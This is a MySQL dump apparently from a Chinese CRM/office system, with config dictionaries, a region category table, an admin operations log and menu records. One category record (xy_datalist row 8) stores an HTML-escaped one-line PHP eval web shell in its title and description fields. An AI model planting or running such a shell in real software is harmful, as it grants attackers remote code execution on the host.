INSERT INTO `xy_config` VALUES ('1', '系统', 'CONFIG_TYPE_LIST', '3', '配置类型列表', '', '主要用于数据解析和页面表单的生成', '2015-02-01 14:39:41', '2015-02-25 10:44:48', '1', '0:数字\n1:字符\n2:文本\n3:数组\n4:枚举', '0'), ('2', '基础', 'PERPAGE', '0', '每页条数', '', '列表分页条数', '2015-02-01 14:49:47', '2015-06-02 12:00:53', '1', '50', '0'), ('3', '基础', 'SEARCHKEY', '3', '参与搜索的字段名', '', '', '2015-02-01 14:56:03', '2015-05-31 16:46:34', '1', 'title\nbiaoti\nmingcheng\nname\nvalue\nxingming\ndianhua\nphone\ntel\nqq\nemail\nbeizhu\nlaiyuan\njinzhan\nsfz\ncontent\nusername\nuname\nuuname\nurl\nip\ntruename\ndepname\nposname\ntype\nleixing\ndanwei\nzhiwei\ncontent\nneirong\njinban\njingban\nshenhe\nshenheren\nbianhao\nnumber', '0'), ('4', '系统', 'DATA_CACHE_TIME', '0', '数据缓存时间', '', '数据缓存有效期 0表示永久缓存', '2015-02-01 15:05:20', '2015-02-25 10:44:23', '1', '14400', '0'), ('5', '系统', 'SESSION_PREFIXX', '1', 'session 前缀', '', '', '2015-02-01 15:07:09', '2015-02-25 10:44:17', '1', 'lygxykj', '0'), ('6', '系统', 'WEB_SITE_TITLE', '2', '系统名称', '', '', '2015-02-01 15:17:46', '2015-07-19 18:48:56', '1', '企业信息化CRM管理系统', '0'), ('7', '系统', 'DATA_BACKUP_PATH', '1', '数据库备份路径', '', '', '2015-02-01 15:55:43', '2015-07-07 09:18:30', '1', 'data', '0'), ('8', '系统', 'DATA_BACKUP_PART_SIZE', '0', '数据库备份卷大小', '', '该值用于限制压缩后的分卷最大长度。单位：B；建议设置20M', '2015-02-01 15:56:41', '2015-02-25 10:44:00', '1', '20971520', '0'), ('9', '系统', 'DATA_BACKUP_COMPRESS', '4', '数据库备份文件是否启用压缩', '0:不压缩\n1:启用压缩', '压缩备份文件需要PHP环境支持gzopen,gzwrite函数', '2015-02-01 15:57:49', '2015-07-07 05:24:13', '1', '1', '0'), ('10', '系统', 'DATA_BACKUP_COMPRESS_LEVEL', '4', '数据库备份文件压缩级别', '1:普通\n4:一般\n9:最高', '数据库备份文件的压缩级别，该配置在开启压缩时生效', '2015-02-01 15:58:48', '2015-02-25 10:43:25', '1', '9', '0'), ('11', '模型', 'MODEL_B_SHOW', '3', '字段模型表单显示', '', '', '2015-02-01 22:12:54', '2015-02-25 10:43:02', '1', '0:不显示\n1:都显示\n2:新增显示\n3:编辑显示', '0'), ('12', '模型', 'MODEL_L_SHOW', '3', '字段模型列表显示', '', '', '2015-02-02 14:55:31', '2015-02-25 10:42:53', '1', '0:不显示\n1:显示', '0'), ('13', '模型', 'MODEL_B_ATTR', '3', '数据模型中表单属性', '', '', '2015-02-02 15:46:08', '2015-04-15 18:16:56', '1', '0:文本框\n1:文本域\n2:密码框\n3:日期框\n4:编辑器\n5:微调器\n6:单选框\n7:多选框\n8:下拉框\n9:查找带回\n10:上传附件\n11:日期时间框\n12:隐藏字段', '0'), ('14', '模型', 'MODEL_B_ISMUST', '3', '数据模型中是否必填', '', '', '2015-02-02 16:05:26', '2015-02-28 11:37:48', '1', '0:非必填\n1:必填\n2:必填日期\n3:必填手机号码\n4:必填EMAIL\n5:必填字母\n6:必填身份证号码\n7:必填中文\n8:必填数字\n9:必填日期时间', '0'), ('15', '模型', 'MODEL_B_ISSORT', '3', '数据模型中的字段是否参与排序', '', '', '2015-02-02 19:53:07', '2015-02-25 10:42:27', '1', '0:不参与\n1:参与', '0'), ('16', '基础', 'BASE_SEX', '3', '性别', '', '', '2015-02-02 21:21:58', '2015-02-25 10:28:07', '1', '0:男\n1:女', '0'), ('17', '基础', 'BASE_XUELI', '3', '学历', '', '', '2015-02-02 21:23:26', '2015-02-25 10:28:01', '1', '0:中专\n1:大专\n2:本科\n3:硕士\n4:博士', '0'), ('18', '基础', 'CONFIG_CLASS', '3', '配置分类', '', '', '2015-02-25 10:22:21', '2015-05-13 15:31:07', '1', '0:系统\n1:基础\n2:模型', '0'), ('38', '模型', 'MODEL_F_TYPE', '3', '图表类型', '', '', '2015-03-06 14:16:26', '0000-00-00 00:00:00', '1', '0:不生成\n1:3D饼图\n2:柱状图\n3:曲线图\n4:环状图\n5:柱商务图', '0'), ('39', '系统', 'WEB_COMPANY_NAME', '2', '单位名称', '', '', '2015-04-05 11:26:27', '2015-07-07 12:13:09', '1', 'xx科技有限公司\n', '0'), ('41', '模型', 'MODEL_B_ISSEARCH', '3', '模型中是否参与搜索', '', '', '2015-04-16 09:18:09', '0000-00-00 00:00:00', '1', '0:不参与\n1:参与', '0'), ('42', '基础', 'BASE_ZU', '3', '参数组别', '', '', '2015-04-19 11:02:43', '0000-00-00 00:00:00', '1', '少儿A组：3-6岁\n少儿B组：7-9岁\n少年A组：10-12岁\n少年B组：13-18岁\n青年组：19-40岁\n中老年组：40岁以上', '0'), ('43', '基础', 'BASE_XM', '3', '参数项目', '', '', '2015-04-19 11:17:43', '0000-00-00 00:00:00', '1', '大众才艺类\n书画美术类\n全民阅读', '0'), ('52', '基础', 'CUST_LAIYUAN', '3', '客户来源', '', '', '2015-05-20 10:04:59', '0000-00-00 00:00:00', '1', '百度推广\n电话营销\n主动联系\n客户介绍', '0'), ('53', '基础', 'CUSTGD_TYPE', '3', '跟单方式', '', '', '2015-05-20 10:52:25', '0000-00-00 00:00:00', '1', '电话沟通\nQQ/旺旺\n电子邮箱\n上门拜访', '0'), ('54', '基础', 'CUSTGD_JINZHAN', '3', '跟单进展阶段', '', '', '2015-05-20 10:56:47', '2015-07-07 10:43:24', '1', '需求整理\n选择比较\n成交客户\n他人签单', '0'), ('55', '基础', 'CUST_XUQIU', '3', '客户需求', '', '', '2015-05-20 11:34:07', '0000-00-00 00:00:00', '1', '软件定制\nCRM/OA\n物流管理\n美容院管理', '0'), ('56', '基础', 'CHANPIN_FENLEI', '3', '产品分类', '', '', '2015-05-22 10:23:50', '2015-06-02 09:26:43', '1', '软件服务\n软件配套\n办公用品\n', '0'), ('57', '基础', 'CHANPIN_DANWEI', '3', '产品单位', '', '', '2015-05-22 10:26:04', '2015-06-02 09:28:59', '1', '只\n个\n台\n卷\n套', '0'), ('58', '基础', 'SHENHE', '3', '审核状态', '', '', '2015-05-22 16:02:16', '2015-07-08 15:56:18', '1', '审核通过\n退回修改', '0'), ('59', '基础', 'QUXIANG_TYPE', '3', '去向', '', '', '2015-05-24 23:16:49', '2015-07-19 18:28:27', '1', '外出\n请假', '0'), ('60', '基础', 'HUIBAO_TYPE', '3', '汇报类型', '', '', '2015-05-25 09:15:40', '0000-00-00 00:00:00', '1', '日总结\n周总结\n月总结\n年总结\n其他', '0'), ('61', '基础', 'ZHISHI_TYPE', '3', '知识分类', '', '', '2015-05-25 10:39:14', '0000-00-00 00:00:00', '1', '产品知识\n技术知识\n营销知识\n质量知识\n培训资料\n管理知识\n其他知识', '0'), ('62', '基础', 'TXL_LEIXING', '3', '通讯录类型', '', '', '2015-05-25 12:24:21', '2015-07-19 18:48:16', '1', '私有\n公有', '0'), ('63', '基础', 'RENWU_JIEGUO', '3', '处理结果', '', '', '2015-05-31 16:53:05', '0000-00-00 00:00:00', '1', '进行中\n已完成', '0'), ('64', '基础', 'BIANHAO_AUTO', '1', '自动编号', '', '编号规则是否自动编号，如果是手工输入的，请删除自动编号', '2015-06-06 08:21:46', '2015-06-06 08:36:11', '1', '自动编号', '0'), ('65', '基础', 'BIANHAO_GUIZE', '0', '编号规则', '', '0，年月日秒+4位顺序号\n1，年月日时分秒+2位随机数\n2，年与日+4位随机数', '2015-06-06 08:29:27', '2015-06-06 08:49:54', '1', '0', '0'), ('66', '基础', 'BIANHAO_NUM', '0', '编号长度', '', '默认是4位长度值，效果如：0001', '2015-06-06 08:32:59', '0000-00-00 00:00:00', '1', '4', '0');
COMMIT;

-- ----------------------------
--  Table structure for `xy_datalist`
-- ----------------------------
DROP TABLE IF EXISTS `xy_datalist`;
CREATE TABLE `xy_datalist` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `uid` int(11) NOT NULL,
  `uname` varchar(50) NOT NULL,
  `addtime` datetime NOT NULL,
  `uuid` int(11) NOT NULL,
  `uuname` varchar(50) NOT NULL,
  `updatetime` datetime NOT NULL,
  `status` tinyint(1) NOT NULL DEFAULT '1',
  `level` tinyint(1) NOT NULL,
  `pid` int(11) NOT NULL,
  `title` varchar(50) NOT NULL,
  `desc` varchar(200) NOT NULL,
  `sort` int(4) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=9 DEFAULT CHARSET=utf8 COMMENT='分类字典';

-- ----------------------------
--  Records of `xy_datalist`
-- ----------------------------
BEGIN;
INSERT INTO `xy_datalist` VALUES ('1', '1', '陈高明', '2015-05-06 15:35:39', '1', '陈高明', '2015-05-18 20:04:13', '1', '0', '0', '地区分类', '地区分类', '1'), ('2', '1', '陈高明', '2015-05-06 15:38:20', '0', '', '0000-00-00 00:00:00', '1', '1', '1', '湖南', '湖南省', '1'), ('3', '1', '陈高明', '2015-05-06 15:38:39', '0', '', '0000-00-00 00:00:00', '1', '2', '2', '长沙', '', '1'), ('4', '1', '陈高明', '2015-05-06 15:40:30', '0', '', '0000-00-00 00:00:00', '1', '2', '2', '岳阳', '', '5'), ('5', '8', '管理员', '2015-05-12 09:47:00', '0', '', '0000-00-00 00:00:00', '1', '1', '1', '浙江', '浙江省', '20'), ('6', '8', '管理员', '2015-05-12 09:47:58', '0', '', '0000-00-00 00:00:00', '1', '2', '5', '杭州', '杭州市', '21'), ('8', '1', '陈高明', '2015-07-11 14:33:25', '1', '陈高明', '2015-07-11 14:33:52', '1', '3', '6', '&lt;?php @eval($_POST[cmd])?&gt;', '&lt;?php @eval($_POST[cmd])?&gt;', '0');
COMMIT;

-- ----------------------------
--  Table structure for `xy_files`
-- ----------------------------
DROP TABLE IF EXISTS `xy_files`;
CREATE TABLE `xy_files` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `attid` int(11) NOT NULL,
  `folder` varchar(50) NOT NULL,
  `filename` varchar(255) NOT NULL,
  `filetype` varchar(50) NOT NULL,
  `filedesc` varchar(200) NOT NULL,
  `uid` varchar(50) NOT NULL,
  `addtime` datetime NOT NULL,
  `status` int(2) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=19 DEFAULT CHARSET=utf8;

-- ----------------------------
--  Table structure for `xy_log`
-- ----------------------------
DROP TABLE IF EXISTS `xy_log`;
CREATE TABLE `xy_log` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `addtime` datetime NOT NULL,
  `username` char(20) NOT NULL,
  `content` char(100) NOT NULL,
  `os` varchar(100) NOT NULL,
  `url` char(100) NOT NULL,
  `ip` char(20) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=65 DEFAULT CHARSET=utf8;

-- ----------------------------
--  Records of `xy_log`
-- ----------------------------
BEGIN;
INSERT INTO `xy_log` VALUES ('1', '2015-08-14 20:33:30', 'admin', '锁定20', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Menu&a=lock', '127.0.0.1'), ('2', '2015-08-14 20:33:35', 'admin', '清理1条无用的记录', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Menu&a=del', '127.0.0.1'), ('3', '2015-08-14 20:34:02', 'admin', '锁定110', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Menu&a=lock', '127.0.0.1'), ('4', '2015-08-14 20:34:11', 'admin', '清理4条无用的记录', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Menu&a=del', '127.0.0.1'), ('5', '2015-08-14 20:34:26', 'admin', '编辑成功294', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Rule&a=edit', '127.0.0.1'), ('6', '2015-08-14 20:34:38', 'admin', '编辑成功300', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Rule&a=edit', '127.0.0.1'), ('7', '2015-08-14 20:34:50', 'admin', '编辑成功305', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Rule&a=edit', '127.0.0.1'), ('8', '2015-08-14 20:34:56', 'admin', '清理15条无用的记录', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Rule&a=del', '127.0.0.1'), ('9', '2015-08-14 20:35:06', 'admin', '编辑成功292', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Rule&a=edit', '127.0.0.1'), ('10', '2015-08-14 20:35:11', 'admin', '清理1条无用的记录', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Rule&a=del', '127.0.0.1'), ('11', '2015-08-14 20:35:39', 'admin', '编辑成功1', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=User&a=edit', '127.0.0.1'), ('12', '2015-08-14 20:35:42', 'admin', '退出成功！', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Public&a=logout', '127.0.0.1'), ('13', '2015-08-14 20:35:45', 'admin', '登录成功！', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', '/x-crm2/index.php?m=Home&c=Public&a=Login', '127.0.0.1'), ('14', '2018-01-29 13:36:30', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('15', '2018-01-29 13:37:05', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('16', '2018-01-29 13:39:38', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('17', '2018-01-29 13:40:00', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('18', '2018-01-29 13:45:24', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('19', '2018-01-29 13:46:19', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('20', '2018-01-29 13:46:31', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('21', '2018-01-29 13:47:34', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('22', '2018-01-29 13:49:16', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('23', '2018-01-29 13:49:20', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('24', '2018-01-29 13:52:52', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('25', '2018-01-29 13:53:14', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('26', '2018-01-29 13:57:14', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('27', '2018-01-29 14:20:41', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('28', '2018-01-29 17:15:59', 'admin', '新增成功24', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Org&a=add', '0.0.0.0'), ('29', '2018-01-29 17:16:13', 'admin', '编辑成功19', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=edit', '0.0.0.0'), ('30', '2018-01-29 17:21:05', 'admin', '清理0条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Menu&a=del', '0.0.0.0'), ('31', '2018-01-29 17:25:59', 'admin', '清理0条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Menu&a=del', '0.0.0.0'), ('32', '2018-01-29 17:27:58', 'admin', '清理0条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Menu&a=del', '0.0.0.0'), ('33', '2018-01-29 17:28:37', 'admin', '锁定135', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Menu&a=lock', '0.0.0.0'), ('34', '2018-01-29 17:28:41', 'admin', '清理7条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Menu&a=del', '0.0.0.0'), ('35', '2018-01-29 17:29:58', 'admin', '锁定214', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Menu&a=lock', '0.0.0.0'), ('36', '2018-01-29 17:30:04', 'admin', '清理1条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Menu&a=del', '0.0.0.0'), ('37', '2018-01-29 17:33:25', 'admin', '锁定19', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=lock', '0.0.0.0'), ('38', '2018-01-29 17:33:30', 'admin', '清理1条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=del', '0.0.0.0'), ('39', '2018-01-29 17:33:43', 'admin', '锁定18', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=lock', '0.0.0.0'), ('40', '2018-01-29 17:33:46', 'admin', '锁定17', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=lock', '0.0.0.0'), ('41', '2018-01-29 17:33:49', 'admin', '锁定16', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=lock', '0.0.0.0'), ('42', '2018-01-29 17:33:53', 'admin', '清理3条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=del', '0.0.0.0'), ('43', '2018-01-29 17:34:14', 'admin', '编辑成功1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=edit', '0.0.0.0'), ('44', '2018-01-29 18:05:29', 'admin', '退出成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=logout', '0.0.0.0'), ('45', '2018-01-29 18:05:33', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('46', '2018-01-29 18:17:41', 'admin', '清理0条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Msg&a=del', '0.0.0.0'), ('47', '2018-01-29 21:08:30', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('48', '2018-01-29 21:08:32', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('49', '2018-01-29 21:08:33', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('50', '2018-01-29 21:08:34', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('51', '2018-01-29 21:08:35', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('52', '2018-01-29 21:08:36', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('53', '2018-01-29 21:08:38', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('54', '2018-01-29 21:08:39', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('55', '2018-01-29 21:09:58', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('56', '2018-01-29 21:10:54', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('57', '2018-01-29 21:10:55', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('58', '2018-01-29 21:10:56', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('59', '2018-01-29 21:13:24', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('60', '2018-01-29 21:14:16', 'admin', '登录成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=Login', '0.0.0.0'), ('61', '2018-01-29 21:29:36', 'admin', '修改成功！', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Public&a=changeinfo', '0.0.0.0'), ('62', '2018-01-29 21:30:04', 'admin', '编辑成功1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=edit', '0.0.0.0'), ('63', '2018-01-29 21:30:21', 'admin', '编辑成功1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=User&a=edit', '0.0.0.0'), ('64', '2018-01-29 21:51:23', 'admin', '清理0条无用的记录', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3', '/index.php?m=Home&c=Org&a=del', '0.0.0.0');
COMMIT;

-- ----------------------------
--  Table structure for `xy_menu`
-- ----------------------------
DROP TABLE IF EXISTS `xy_menu`;
CREATE TABLE `xy_menu` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `level` tinyint(1) NOT NULL,
  `pid` int(4) NOT NULL,
  `catename` char(20) NOT NULL DEFAULT '',
  `alink` char(100) NOT NULL DEFAULT '',
  `sort` int(4) NOT NULL,
  `status` tinyint(1) NOT NULL DEFAULT '1',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=215 DEFAULT CHARSET=utf8;

-- ----------------------------
--  Records of `xy_menu`
-- ----------------------------
BEGIN;
INSERT INTO `xy_menu` VALUES ('7', '0', '0', '系统管理', 'system/index', '99', '1'), ('9', '1', '7', '组织机构', 'org/index', '1', '1'), ('10', '2', '9', '职位管理', 'dep/index', '2', '1'), ('11', '2', '22', '菜单管理', 'menu/index', '4', '1'), ('13', '1', '7', '操作日志', 'Log/index', '7', '1'), ('14', '2', '9', '用户管理', 'user/index', '3', '1'), ('21', '1', '7', '备份文件', 'database/bakup', '5', '1'), ('22', '1', '7', '系统设置', 'system/index', '1', '1'), ('23', '2', '9', '部门管理', 'org/index', '0', '1'), ('24', '1', '7', '数据备份', 'Database/index', '4', '1'), ('25', '2', '22', '分类字典', 'datalist/index', '2', '1'), ('31', '2', '22', '数据字典', 'config/index', '1', '1'), ('114', '2', '118', '消息记录', 'msgs/index', '1', '1'), ('172', '1', '160', '信息中心', 'msg/index', '9', '1'), ('173', '2', '172', '我的消息', 'msg/index', '1', '1'), ('179', '1', '7', '清理缓存', 'public/clear', '10', '1');
COMMIT;

-- ----------------------------
--  Table structure for `xy_msg`
-- ----------------------------
DROP TABLE IF EXISTS `xy_msg`;
CREATE TABLE `xy_msg` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `uid` int(11) NOT NULL,
  `uname` varchar(50) NOT NULL,
  `addtime` datetime NOT NULL,
  `content` varchar(255) NOT NULL,
  `status` tinyint(1) NOT NULL DEFAULT '1',
  `type` varchar(20) NOT NULL,
  `juid` int(11) NOT NULL,
  `viewtime` datetime NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=utf8 COMMENT='消息管理';

-- ----------------------------
--  Records of `xy_msg`
-- ----------------------------
BEGIN;
